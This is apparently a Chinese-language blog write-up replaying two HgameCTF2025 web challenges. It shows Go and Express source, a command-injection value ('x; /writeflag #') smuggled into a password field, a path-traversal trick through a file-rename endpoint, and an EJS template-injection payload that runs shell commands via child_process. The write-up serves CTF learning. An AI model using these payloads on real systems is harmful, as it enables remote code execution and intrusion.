valuePtrs := make([]interface{}, len(columns))
for i := range columns {
valuePtrs[i] = &values[i]
}

if err := rows.Scan(valuePtrs...); err != nil {
c.JSON(http.StatusInternalServerError, gin.H{
"success": false,
"message": "Failed to scan row: " + err.Error(),
})
return
}

row := make(map[string]interface{})
for i, col := range columns {
val := values[i]
if b, ok := val.([]byte); ok {
row[col] = string(b)
} else {
row[col] = val
}
}
results = append(results, row)
}

c.JSON(http.StatusOK, gin.H{
"success": true,
"data": gin.H{
"records": results,
"total": total,
},
})
}
func validateImportConfig(config ImportConfig) error {
if config.RemoteHost == "" ||
config.RemoteUsername == "" ||
config.RemoteDatabase == "" ||
config.LocalDatabase == "" {
return fmt.Errorf("missing required fields")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9\.\-]+$`, config.RemoteHost); !match {
return fmt.Errorf("invalid remote host")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteUsername); !match {
return fmt.Errorf("invalid remote username")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.RemoteDatabase); !match {
return fmt.Errorf("invalid remote database name")
}

if match, _ := regexp.MatchString(`^[a-zA-Z0-9_]+$`, config.LocalDatabase); !match {
return fmt.Errorf("invalid local database name")
}

return nil
}

复现时平台无法下发赛题。
攻击思路,大概就是在RemotePassword里进行注入,应该就能直接rec,但是题目提示,环境内有/writeflag命令能直接写到/flag目录

截断原命令,然后写/writeflag即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
{
"remote_password": "x; /writeflag #"
}
```\

## BandBomb

tags:nodejs ssti 模板注入
下载到源码,只有一个app.js,java这一块。
叫ai注释一下:
```javascript=
// 引入必要的模块
const express = require('express'); // Express 框架,用于构建 Web 服务器
const multer = require('multer'); // 处理文件上传的中间件
const fs = require('fs'); // Node.js 文件系统模块,用于操作文件和目录
const path = require('path'); // 路径处理模块,用于处理和转换文件路径

// 创建 Express 应用实例
const app = express();

// 设置视图引擎为 EJS(嵌入式 JavaScript 模板)
app.set('view engine', 'ejs');

// 静态资源中间件:将 /static 路径映射到项目根目录下的 public 文件夹
// 例如:访问 http://localhost:3000/static/style.css 会返回 public/style.css 文件
app.use('/static', express.static(path.join(__dirname, 'public')));

// 使用 express.json() 中间件解析 JSON 请求体(用于接收前端发送的 JSON 数据)
app.use(express.json());

// 配置 Multer 的存储选项
const storage = multer.diskStorage({
// destination:定义文件上传后存储的目录
destination: (req, file, cb) => {
const uploadDir = 'uploads'; // 上传文件将保存在项目根目录下的 uploads 文件夹中

// 如果 uploads 目录不存在,则创建它
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir); // 同步创建目录
}

// 回调函数:第一个参数为错误(null 表示无错误),第二个为存储路径
cb(null, uploadDir);
},
// filename:定义上传文件保存时的文件名
filename: (req, file, cb) => {
// 使用文件的原始文件名(不推荐用于生产环境,存在安全风险)
cb(null, file.originalname);
}
});

// 创建 Multer 上传中间件实例
const upload = multer({
storage: storage,
// 自定义文件过滤逻辑
fileFilter: (_, file, cb) => {
try {
// 检查文件名是否有效
if (!file.originalname) {
return cb(new Error('无效的文件名'), false); // false 表示拒绝该文件
}
// true 表示接受该文件
cb(null, true);
} catch (err) {
// 捕获异常并返回错误
cb(new Error('文件处理错误'), false);
}
}
});

// GET 请求:访问首页 /
// 渲染 EJS 模板页面,并列出所有已上传的文件
app.get('/', (req, res) => {
const uploadsDir = path.join(__dirname, 'uploads'); // 构建 uploads 目录的绝对路径

// 确保 uploads 目录存在,如果不存在则创建
if (!fs.existsSync(uploadsDir)) {
fs.mkdirSync(uploadsDir);
}

// 读取 uploads 目录中的所有文件
fs.readdir(uploadsDir, (err, files) => {
if (err) {
// 如果读取失败(如权限问题),返回 500 错误,并渲染空文件列表
return res.status(500).render('mortis', { files: [] });
}
// 成功则渲染名为 'mortis' 的 EJS 模板,传入文件列表
res.render('mortis', { files: files });
});
});

// POST 请求:处理文件上传 /upload
app.post('/upload', (req, res) => {
// 使用 Multer 处理单个文件上传,字段名为 'file'
// upload.single('file') 是一个中间件函数,需要手动调用并传入 req, res, 回调
upload.single('file')(req, res, (err) => {
if (err) {
// 如果上传过程中出错(如文件名无效),返回 400 错误和错误信息
return res.status(400).json({ error: err.message });
}
if (!req.file) {
// 如果没有文件被上传
return res.status(400).json({ error: '没有选择文件' });
}
// 上传成功,返回成功消息和文件名
res.json({
message: '文件上传成功',
filename: req.file.filename
});
});
});

// POST 请求:处理文件重命名 /rename
app.post('/rename', (req, res) => {
const { oldName, newName } = req.body; // 从请求体中获取旧文件名和新文件名

// 构建旧文件和新文件的完整路径
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);

// 验证参数是否完整
if (!oldName || !newName) {
return res.status(400).json({ error: ' ' }); // 注意:这里错误信息为空格,建议改进
}

// 使用 fs.rename 进行文件重命名(或移动)
fs.rename(oldPath, newPath, (err) => {
if (err) {
// 重命名失败(如文件不存在、权限问题等)
return res.status(500).json({ error: ' ' + err.message }); // 同样,错误信息前加了空格
}
// 重命名成功
res.json({ message: ' ' }); // 成功消息也是一个空格,建议改进
});
});

// 启动服务器
// 注意:这里使用了未定义的变量 'port',会导致运行时错误!
app.listen(port, () => {
console.log(`服务器运行在 http://localhost:${port}`);
});

看了wp,关键在于他会渲染一个名叫mortis的文件:

1
2
3
4
5
6
7
8
9
  fs.readdir(uploadsDir, (err, files) => {
if (err) {
// 如果读取失败(如权限问题),返回 500 错误,并渲染空文件列表
return res.status(500).render('mortis', { files: [] });
}
// 成功则渲染名为 'mortis' 的 EJS 模板,传入文件列表
res.render('mortis', { files: files });
});
});

而ejs的默认模板目录为同目录下的views
与app.js在同一目录
并且由于:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const storage = multer.diskStorage({
// destination:定义文件上传后存储的目录
destination: (req, file, cb) => {
const uploadDir = 'uploads'; // 上传文件将保存在项目根目录下的 uploads 文件夹中

// 如果 uploads 目录不存在,则创建它
if (!fs.existsSync(uploadDir)) {
fs.mkdirSync(uploadDir); // 同步创建目录
}

// 回调函数:第一个参数为错误(null 表示无错误),第二个为存储路径
cb(null, uploadDir);
},
// filename:定义上传文件保存时的文件名
filename: (req, file, cb) => {
// 使用文件的原始文件名(不推荐用于生产环境,存在安全风险)
cb(null, file.originalname);
}
});

由于在代码中使用了原始文件名,可能造成目录穿越
攻击思路就是上传一个构造好的模板文件,然后利用/rename方法来进行目录穿越到veiws目录下,把mortis模板替换

由于本人对nodejs的ssti了解等于0
所以叫ai尝试ssti,生成一个ejs:

1
<%= Object.getPrototypeOf({}).constructor.constructor("return process.mainModule.require('child_process').execSync('env')")() %>



https://hgame.vidar.club/training/2?challenge=27


HgameCTF2025 部分 web 复现
https://aidemofashi.github.io/2025/11/02/HgameCTF2025-复现/
作者
aidemofashi
发布于
2025年11月2日
许可协议